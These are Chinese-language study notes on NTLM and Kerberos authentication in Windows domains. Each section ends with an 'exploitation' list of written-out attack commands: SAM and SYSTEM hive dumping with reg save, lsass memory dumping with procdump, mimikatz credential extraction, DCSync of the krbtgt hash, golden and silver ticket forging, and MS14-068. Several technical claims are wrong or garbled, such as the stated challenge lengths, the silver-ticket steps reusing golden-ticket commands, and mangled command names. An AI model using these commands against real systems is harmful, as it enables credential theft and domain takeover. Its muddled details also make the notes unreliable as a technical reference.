NTLM认证
本地认证
当用户注销、重启、锁屏后,操作系统会让winlogon显示登录界面,也就是输入框。当winlogon.exe接收输入后,将密码交给LSASS进程,这个进程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库比较认证。(winlogon.exe即Windows Logon Process,是Windows NT用户登陆程序,用于管理用户登录和退出)
明文密码->hex加密->unicode->md4加密->密文密码
网络认证
协商,挑战,认证
输入密码,然后LSASS会把密码的NTLM Hash后的值先存储到本地
- 客户端把用户名的明文发送给服务端
- 服务端会生成一个16位的随机数,即challenge,再传回给客户端
- 当客户端收到challenge后,用在第一步中存储的NTLM Hash对其加密,然后再将加密后的challenge发送给服务器,也就是response
- 服务端在收到response后,会向DC发送针对客户端的验证请求。该请求主要包含以下三方面的内容:客户端用户名、客户端NTLM Hash加密的Challenge、原始的Challenge
- DC接到过来的这三个值的以后,会根据用户名到DC的账号数据库比对
NTML-V2采用MAC-MD5加密方式,challenge由8位变成16位
利用姿势
哈希传递pth
mimikatz
wmiexec/psexec
exploit/windows/smb/psexec_psh
powershell invoke
SAM文件破解
reg save hklm\sam C:\sam.hive
reg save hklm\system C:\system.hive
读取lsass内存
- procdump64.exe -accepteula -ma lsass.exe 存放路径\文件名
- mimikatz # sekurlsa::minidump 文件名
- mimikatz # sekurlsa::logonPasswords full
keberos认证
KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分**据,但是KDC不是一个独立的服务,它由AS和TGS组成。
AS: Authentication Service,验证服务,为client生成TGT的服务
TGS: Ticket Granting Service,票据授予服务,为client生成某个服务的ticket
TGT: Ticket Granting Ticket,入场券,通过入场券能够获得票据,是一种临时凭证的存在。
Ticket:票据,是网络中各对象之间互相访问的凭证
AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。
DC: Domain Controller,域控
KRBTGT: 每个域控制器都有一个krbtgt账户,是KDC的服务账户,用来创建TGS加密的密钥。
域认证
Kerberos是一种基于票据的认证方式,票据(Ticket)是用来安全的在认证服务器和用户请求的服务之间传递用户的身份,同时也会传递一些附加信息,用来保证使用Ticket的用户必须是Ticket中指定的用户,Ticket一旦生成,在生存时间内可以被Client多次使用来申请同一个Server的服务
- client向kerberos服务请求,希望获取访问server的权限。 kerberos得到了这个消息,首先得判断client是否是可信赖的, 也就是白名单黑名单的说法。这就是AS服务完成的工作,通过 在AD中存储黑名单和白名单来区分client。成功后,返回AS返 回TGT给client。
- client得到了TGT后,继续向kerberos请求,希望获取访问 server的权限。kerberos又得到了这个消息,这时候通过client 消息中的TGT,判断出了client拥有了这个权限,给了client访 问server的权限ticket。
- client得到ticket后,终于可以成功访问server。这个ticket只是 针对这个server,其他server需要向TGS申请
利用姿势
MS14-068
- TGT插入任意PAC窃取管理员权限
黄金票据
- privilege::debug 获取krbtgt的hash
- lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 或者 wmic useraccount get name,sid 查看krbtgt用户的SID值
- klist 清理票据
- mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:
/user:<任意用户名> /ptt” exit 伪造票据 - klistpurge 清理缓存
- kerberos::purge kerberos::pttticket.kirbi 导入票据
- dir\计算机名.域名\c$ 验证是否成功
白银票据
- lsadump::dcsync /domain:xiyou.dayu.com /user:krbtgt 收集所有用户的SID值
- mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit“>log.txt 导出当前用户的hash值
- kerberos::purge 清理票据
- mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:
/user:<用户名> /ptt” exit 伪造票据 - HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters 中的ValidateKdcPacSignature设置为1 开启PAC功能(这会增加DC的负担并且降低认证成功效率)
Access Token
主令牌 /访问令牌
一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token,当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除,只有在重启机器后才会清除